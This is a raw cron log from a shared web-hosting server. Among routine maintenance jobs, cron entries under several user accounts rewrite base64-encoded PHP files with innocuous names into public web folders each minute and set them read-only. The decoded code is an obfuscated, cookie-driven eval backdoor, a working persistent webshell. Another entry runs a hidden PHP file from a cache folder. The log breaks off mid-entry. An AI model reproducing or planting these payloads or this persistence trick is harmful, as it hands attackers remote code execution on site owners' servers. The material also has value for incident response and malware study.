Mar  2 13:06:02 medusa CROND[9648]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 13:06:02 medusa CROND[9652]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:06:02 medusa CROND[9653]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 13:06:02 medusa CROND[9656]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:06:02 medusa CROND[9657]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:06:02 medusa CROND[9660]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:06:02 medusa CROND[9661]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:07:01 medusa CROND[24650]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:07:01 medusa CROND[24648]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:07:01 medusa CROND[24649]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:07:01 medusa CROND[24651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:07:01 medusa CROND[24652]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:07:01 medusa CROND[24653]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:07:01 medusa CROND[24655]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:07:01 medusa CROND[24657]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:07:01 medusa CROND[24658]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:07:01 medusa CROND[24661]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:07:01 medusa CROND[24660]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 13:07:01 medusa CROND[24663]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:08:01 medusa CROND[7495]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:08:01 medusa CROND[7496]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  2 13:08:01 medusa CROND[7494]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 13:08:01 medusa CROND[7498]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:08:01 medusa CROND[7497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:08:01 medusa CROND[7500]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:08:01 medusa CROND[7501]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:08:01 medusa CROND[7502]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 13:08:01 medusa CROND[7503]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:08:01 medusa CROND[7504]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:08:01 medusa CROND[7505]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo 